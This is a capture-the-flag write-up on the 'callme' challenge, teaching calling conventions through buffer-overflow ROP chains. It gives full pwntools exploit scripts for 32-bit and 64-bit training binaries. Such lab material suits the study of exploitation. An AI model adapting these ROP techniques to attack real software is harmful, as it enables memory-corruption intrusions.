# callme

## callme 32bit

### Solution

This challenge intends to teach calling conventions in depth. Recall that 32-bit binaries store function arguments on the stack:

```
function
return_address,
arg1,
arg2,
arg3
```

What if we want to call multiple functions? The trick is to **"clean up"** the stack after each function call. In our case, each function takes three arguments, so we find a pop pop pop ret gadget. One candidate is `pop esi ; pop edi ; pop ebp ; ret`. If we use this gadget as the return address for each function, the three arguments for the current function will be popped off the stack.

### Exploit

```python
#!/usr/bin/env python3
from pwn import *

#--------Setup--------#

context(arch="i386", os="linux")
elf = ELF("callme32", checksec=False)

#--------Offset--------#

p = elf.process()
pattern = cyclic(1024)
p.sendlineafter("> ", pattern)
p.wait()
core = p.corefile
p.close()
os.remove(core.file.name)
offset = cyclic_find(core.eip)

log.info(f"{offset = }")

#--------ROP--------#

callme_one = elf.plt["callme_one"]
callme_two = elf.sym["callme_two"]
callme_three = elf.plt["callme_three"]
# ROPgadget --binary callme32 --only "pop|ret"
pop_pop_pop_ret = 0x080487f9

arg1 = 0xdeadbeef
arg2 = 0xcafebabe
arg3 = 0xd00df00d

payload = flat(
    b"A" * offset,
    
    # Function 1
    callme_one,
    pop_pop_pop_ret, # return address for callme_one
    arg1, arg2, arg3, # args for callme_one
    
    # Function 2
    callme_two,
    pop_pop_pop_ret, # return address for callme_two
    arg1, arg2, arg3, # args for callme_two
    
    # Function 3
    callme_three,
    pop_pop_pop_ret, # return address for callme_three
    arg1, arg2, arg3, # args for callme_three
)

p = elf.process()

p.sendlineafter("> ", payload)

p.interactive()
```

## 64bit

### Solution

The 64-bit case is even simpler. Here we simply find a `pop rdi ; pop rsi ; pop rdx ; ret` gadget to set up the arguments and call the function. Repeat the same process for each function.

### Exploit

```python
#!/usr/bin/env python3
from pwn import *

#--------Setup--------#

context(arch="amd64", os="linux")
elf = ELF("callme", checksec=False)

#--------Offset--------#

p = elf.process()
pattern = cyclic(1024)
p.sendlineafter("> ", pattern)
p.wait()
core = p.corefile
p.close()
os.remove(core.file.name)
offset = cyclic_find(core.read(core.rsp, 4))

log.info(f"offset: {offset}")

#--------ROP--------#

callme_one = elf.plt["callme_one"]
callme_two = elf.plt["callme_two"]
callme_three = elf.plt["callme_three"]
# ROPgadget --binary callme --only "pop|ret" | grep rdi
pop_rdi_rsi_rdx = 0x40093c
ret = 0x4006be

arg1 = 0xdeadbeefdeadbeef
arg2 = 0xcafebabecafebabe
arg3 = 0xd00df00dd00df00d

payload = flat(
    b"A" * offset,

    # Function 1
    pop_rdi_rsi_rdx, arg1, arg2, arg3,
    ret, callme_one,

    # Function 2
    pop_rdi_rsi_rdx, arg1, arg2, arg3,
    ret, callme_two,

    # Function 3
    pop_rdi_rsi_rdx, arg1, arg2, arg3,
    ret, callme_three,
)

p = elf.process()

p.sendlineafter("> ", payload)

p.interactive()
```
